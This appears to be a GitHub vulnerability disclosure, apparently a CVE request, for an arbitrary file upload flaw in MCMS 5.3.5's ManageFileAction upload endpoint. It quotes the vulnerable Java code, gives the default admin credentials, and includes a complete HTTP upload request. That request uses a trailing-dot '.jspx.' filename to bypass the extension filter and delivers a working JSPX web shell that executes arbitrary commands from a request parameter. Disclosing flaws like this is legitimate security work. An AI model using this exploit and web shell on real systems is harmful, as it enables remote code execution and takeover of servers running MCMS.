Skip to content

h3ak/MCMS-CVE-Request

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 

Repository files navigation

BUG_Author:

yizhen cao

Affected version:

MCMS

Vendor:

https://mingsoft.net/

Software:

https://gitee.com/mingSoft/MCMS

Vulnerability File:

ManageFileAction.java

Description:

MCMS 5.3.5 has a vulnerability that allows arbitrary file uploads on certain pages.

The lack of strict filtering for file extensions allows attackers to exploit the backend upload point to upload arbitrary files.

Severity: High

Default credentials "msopen/msopen" can be used to log in.

image

Corresponding critical code for handling the issue.

@Api(tags={"后端-基础接口"})
@Controller("ManageFileAction")
@RequestMapping("${ms.manager.path}/file")
public class ManageFileAction extends BaseFileAction {


	/**
	 * 处理post请求上传文件
	 * 可以自定义项目路径下任意文件夹
	 * @param req
	 *            HttpServletRequest对象
	 * @param res
	 *            HttpServletResponse 对象
	 * @throws ServletException
	 *             异常处理
	 * @throws IOException
	 *             异常处理
	 */
	@ApiOperation(value = "处理post请求上传文件")
	@LogAnn(title = "处理post请求上传文件",businessType= BusinessTypeEnum.OTHER)
	@ApiImplicitParams({
			@ApiImplicitParam(name = "uploadPath", value = "上传文件夹地址", required =false,paramType="form"),
			@ApiImplicitParam(name = "file", value = "文件流", dataType="__file",required =false,paramType="form"),
			@ApiImplicitParam(name = "rename", value = "是否重命名", required =false,paramType="form",defaultValue="true"),
			@ApiImplicitParam(name = "appId", value = "上传路径是否需要拼接appId", required =false,paramType="form",defaultValue="false"),
			@ApiImplicitParam(name = "uploadFolderPath", value = "是否修改上传目录", required =false,paramType="form",defaultValue="false"),
	})
	@PostMapping(value = "/upload",consumes = "multipart/*",headers = "content-type=multipart/form-data")
	@ResponseBody
	public ResultData upload(@ApiIgnore UploadConfigBean bean, @ApiIgnore boolean uploadFolderPath, HttpServletRequest req, HttpServletResponse res) throws IOException {
		//非法路径过滤
		if(checkUploadPath(bean)){
			return ResultData.build().error();
		}
		// 是否需要拼接appId
		if (bean.isAppId()) {
			bean.setUploadPath(BasicUtil.getApp().getAppId() + File.separator + bean.getUploadPath());
		}

		UploadConfigBean config = new UploadConfigBean(bean.getUploadPath(),bean.getFile(),null,uploadFolderPath,bean.isRename());
		return this.upload(config);
	}

upload method

 public ResultData upload(UploadConfigBean config) throws IOException {
        String uploadMapping = MSProperties.upload.mapping;
        String uploadFileDenied = MSProperties.upload.denied;
        String uploadFolderPath = MSProperties.upload.path;
        // 过滤掉的文件类型
        String[] errorType = uploadFileDenied.split(",");
        //文件上传类型限制
        String fileName = config.getFile().getOriginalFilename();
        if (StringUtils.isBlank(fileName)) {
            return ResultData.build().error("文件名不能为空!");
        }
        //清理无效的类型
        fileName = FileNameUtil.cleanInvalid(fileName);
        if (fileName.lastIndexOf(".") < 0) {
            LOG.info("文件格式错误:{}", fileName);
            return ResultData.build().error(getResString("err.error", getResString("file.name")));
        }

        String fileType = FileUtil.getSuffix(fileName);
        //修改上传物理路径
        String realPath = config.isUploadFolderPath() ? BasicUtil.getRealPath("") : BasicUtil.getRealPath(uploadFolderPath);
        if (StringUtils.isNotBlank(config.getRootPath())) {
            realPath = config.getRootPath();
        }
        //先判断文件类型是否合法
        for (String type : errorType) {
            if ((fileType).equalsIgnoreCase(type)) {
                LOG.info("文件类型被拒绝:{}", fileType);
                return ResultData.build().error(getResString("err.error", getResString("file.type")));
            }
        }
        //修改文件名
        if (config.isRename()) {
            fileName = System.currentTimeMillis() + "." + fileType;
        }

        // 上传的文件路径,判断是否填的绝对路径
        String uploadFolder = realPath + File.separator;
        //修改upload下的上传路径
        if (StringUtils.isNotBlank(config.getUploadPath())) {
            uploadFolder += config.getUploadPath() + File.separator;
        }
        //保存文件
        File saveFolder = new File(uploadFolder);
        File saveFile = new File(uploadFolder, fileName);
        if (!saveFolder.exists()) {
            FileUtil.mkdir(saveFolder);
        }
        config.getFile().transferTo(saveFile);
        //绝对映射路径处理
        //如果uploadFolderPath = true则返回路径中不拼upload的路径
        String path = (config.isUploadFolderPath() ? "" : uploadMapping.replace("**", ""))
                //转为相对路径
                + uploadFolder.replace(realPath, "")
                //添加文件名
                + Const.SEPARATOR + fileName;
        //替换多余
        return ResultData.build().success(new File(Const.SEPARATOR + path).getPath().replace("\\", "/").replace("//", "/"));
    }

Upload packet

POST /ms/file/upload.do HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 1519
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
sec-ch-ua-platform: "Windows"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv6padqmOBvzQrGNY
Accept: */*
Origin: http://127.0.0.1:8000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8000/ms/basic/app/app.do?
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pageno_cookie=1; JSESSIONID=B74AEB30E5118633728E8C63A8023F89; SHIRO_SESSION_ID=d9448adc-22d7-4095-aaf0-cdfc665ccc5b; rememberMe=FfWkNMTRTmfv1PftgMqyQaHPMttkHQFgN4hrBdSBgY+SBj+GBtgVfmt4hT6Wp8eJ96WEBXqu4QzVPA7bvZ0Ft8uYwiqLu/Wd04wBn2q+N2tUK03q6Jj2HKH6J5uksbNYz+6JDZ7Jjjc3eHQEvjZPDL5UO4onrpP+GKeIqAl4BFGeDcLhzmmp7FoskPySoN8YqQhrRETw+FxgYy4U+G9ZK7Kz4cjL5s1lyRPkJvHVolp92X7X6po2s8JQCUUgZKYqvcYgFfsJL1OMteOslPAnzCZ4T25yjPvVI+vTk65+8T6NfSgMsVc/MS0yQRbBNQIDTuqD6z5aaMbMbUcYNIrBp25aa43yNuyPXw8hrV+sdZwNGSYmkuuGd54cZTGopcGJ7/ITRlWhp6N0MHA6rkHAO0YDxZ4ZKQdnvRy+tLzQ0Zihmb3EBp0akH1BHb2m4zJ44sGsfriB5p1zyIWzqrA9RzlaHHgy8CJ9uagYZ85FBOxuf0Vgb9e+cD9Uc6HpxMZF43tgwUEJ4D9gY9NyDOxSbbvxBcry4FikPzy4QmMGrTdD2fx7Y6nOTFFhcoEZ+aNjfYRXJdnKPD7vxlSZwzouiNZZR4R3fbeHu2g1+hprtYPxWOs4dzp13NGgEqpy6gzBcwzhth9qFz3SigaXTcJI/W4I765krHUFipNRDF7oGB6EY6gHRXabdQMTTOPgHCnHssQZ80s1jtJfrJFSLvTutE0GOtrLG4TxNiKNF/c+BMIlIF+foFrPWSD1EfvvWj7uzdIX9NvUEaI+GYUOPjrND+0Vw3aNRn0Za4lMf/HQ1VPX0eUI0nNPMsr6DKN69HaYje8iVkSlKkR3oqqlJpCmbI53BWW2PdNLUsGYy7T9PSpMHYe1gaoPQTEPFO7XdSzx7bsZwzvOZ0yjpkU76DTSgPEswlrRiAlN70W4/eDCNe9llsQoMkmN2BRE4Cvh37vQ8zBBUQvnosPZB0svn2i/UMhZEWIELmbFAhQ7F4uh4rVo0zpEDpY0kB9gv4f/HIHJIX7N2gedp2bbK1tVBeJ2cvUNPRcVdrjpK0F/KOZCPwBihRngv7fcuVmcCCddd9crYWXeiw7xOmIYH/Lvu5/cYPcNCz6I22L9WgxUzMZ1LSE2iVKKUADSmJ/EiL7UiApSReAZQPpkIMZHxMvCVXb0Xh9QegeJiCFY3F9W+FGdTMiBJeQa9zXw+ocSvgLcLirR4pBc3pJgnwpg9o3kRk2a0nmZ7w187CwsDswdLnt0ddN/2Yrni9R3kArSgvM/Q7yS/nO3JmUDiqehKep8IxkJlR+8KYFobspGMr+YLPom0ut7h/Stf5FvYxYbGNXNmGVuC+jBsODMNpHE5mQ=
Connection: close

------WebKitFormBoundaryv6padqmOBvzQrGNY
Content-Disposition: form-data; name="uploadPath"

html/web
------WebKitFormBoundaryv6padqmOBvzQrGNY
Content-Disposition: form-data; name="rename"

false
------WebKitFormBoundaryv6padqmOBvzQrGNY
Content-Disposition: form-data; name="appId"

false
------WebKitFormBoundaryv6padqmOBvzQrGNY
Content-Disposition: form-data; name="uploadFolderPath"

true
------WebKitFormBoundaryv6padqmOBvzQrGNY
Content-Disposition: form-data; name="file"; filename="1.jspx."
Content-Type: text/plain

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
          xmlns="http://www.w3.org/1999/xhtml"
          xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
    <jsp:directive.page contentType="text/html" pageEncoding="gb2312"/>
    <jsp:directive.page import="java.io.*"/>
 
    <html>
        <head>
            <title>jspx</title>
        </head>
        <body>
            <jsp:scriptlet>
               try {
		String cmd = request.getParameter("paxmac");
		if (cmd !=null){
			Process child = Runtime.getRuntime().exec(cmd);
			InputStream in = child.getInputStream();
			int c;
			while ((c = in.read()) != -1) {
			out.print((char)c);
			}
			in.close();
			try {
			child.waitFor();
			} catch (InterruptedException e) {
			e.printStackTrace();
		}
		}
		} catch (IOException e) {
		System.err.println(e);
		}
            </jsp:scriptlet>
        </body>
    </html>
</jsp:root>
------WebKitFormBoundaryv6padqmOBvzQrGNY--

Releases

No releases published

Packages

No packages published